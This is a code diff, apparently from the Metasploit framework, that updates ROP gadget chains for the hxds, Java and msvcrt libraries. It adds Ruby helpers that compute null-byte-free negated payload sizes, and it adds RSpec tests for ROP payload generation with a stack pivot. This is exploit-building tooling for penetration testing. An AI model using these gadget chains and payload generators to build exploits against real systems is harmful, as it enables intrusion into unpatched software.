diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml index 49c2a0a9a5..5531d05c06 100644 --- a/data/ropdb/hxds.xml +++ b/data/ropdb/hxds.xml @@ -11,7 +11,7 @@ POP EBP # RETN skip 4 bytes POP EBX # RETN - 0x00000201 + Safe size to NEG XCHG EAX, EBX # RETN NEG EAX # RETN XCHG EAX, EBX # RETN @@ -40,7 +40,7 @@ POP EBP # RETN skip 4 bytes POP EBX # RETN - 0x00000201 + Safe size to NEG XCHG EAX, EBX # RETN NEG EAX # POP ESI # RETN JUNK diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml index 1985d5c4d2..3a3959ce84 100644 --- a/data/ropdb/java.xml +++ b/data/ropdb/java.xml @@ -9,7 +9,7 @@ POP EBP # RETN skip 4 bytes POP EAX # RETN - 0x00000201 + 0x00000201 NEG EAX # RETN POP EBX # RETN diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 177767e9c0..2a5416d0c2 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -8,7 +8,7 @@ POP EAX # RETN - 0xFFFFFBFF -> ebx + 0xFFFFFBFF -> ebx NEG EAX # POP EBP # RETN JUNK POP EBX # RETN diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index a72d88ab15..c97091f88c 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -29,7 +29,7 @@ class RopDb # # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, - # and :size_negate. + # :unsafe_negate_size, and :safe_negate_size # Note if no RoP is found, it returns an empry array. # Arguments: # rop_name - name of the ROP chain. @@ -90,8 +90,10 @@ class RopDb Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i elsif e == :size payload.length - elsif e == :size_negate - 0xffffffff - payload.length + 1 + elsif e == :unsafe_negate_size + get_unsafe_size(payload.length) + elsif e == :safe_negate_size + get_safe_size(payload.length) else e end @@ -105,6 +107,28 @@ class RopDb private + # + # Returns a size that's safe from null bytes. + # This function will keep incrementing the value of "s" until it's safe from null bytes. + # + def get_safe_size(s) + safe_size = get_unsafe_size(s) + while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00") + safe_size -= 1 + end + + safe_size + end + + + # + # Returns a size that might contain one or more null bytes + # + def get_unsafe_size(s) + 0xffffffff - s + 1 + end + + # # Checks if a ROP chain is compatible # @@ -146,8 +170,10 @@ class RopDb gadgets << :junk when 'size' gadgets << :size - when 'size_negate' - gadgets << :size_negate + when 'unsafe_negate_size' + gadgets << :unsafe_negate_size + when 'safe_negate_size' + gadgets << :safe_negate_size else gadgets << value.to_i(16) end @@ -160,4 +186,4 @@ class RopDb end end -end +end \ No newline at end of file diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb new file mode 100644 index 0000000000..497200f77e --- /dev/null +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -0,0 +1,91 @@ +require 'rex/exploitation/ropdb' + +describe Rex::Exploitation::RopDb do + context "Class methods" do + + context ".initialize" do + it "should initialize with a path of the ROP database ready" do + ropdb = Rex::Exploitation::RopDb.new + ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + end + end + + context ".has_rop?" do + ropdb = Rex::Exploitation::RopDb.new + + it "should find the msvcrt ROP database" do + ropdb.has_rop?("msvcrt").should eq(true) + end + + it "should find the java ROP database" do + ropdb.has_rop?("java").should eq(true) + end + + it "should find the hxds ROP database" do + ropdb.has_rop?("hxds").should eq(true) + end + + it "should find the flash ROP database" do + ropdb.has_rop?("flash").should eq(true) + end + + it "should return false when I supply an invalid database" do + ropdb.has_rop?("sinn3r").should eq(false) + end + end + + context ".select_rop" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return msvcrt gadgets" do + gadgets = ropdb.select_rop('msvcrt') + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets for windows server 2003" do + gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets with a new base" do + gadgets1 = ropdb.select_rop('msvcrt') + gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) + + gadgets2[0].should_not eq(gadgets1[0]) + end + end + + context ".generate_rop_payload" do + ropdb = Rex::Exploitation::RopDb.new + + it "should generate my ROP payload" do + ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + end + + it "should generate my ROP payload with my stack pivot" do + ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + end + end + + context ".get_safe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + end + + it "should return 0xfffffeff (value is modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + end + end + + context ".get_unsafe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffc00 (contains a null byte)" do + ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + end + end + + end +end \ No newline at end of file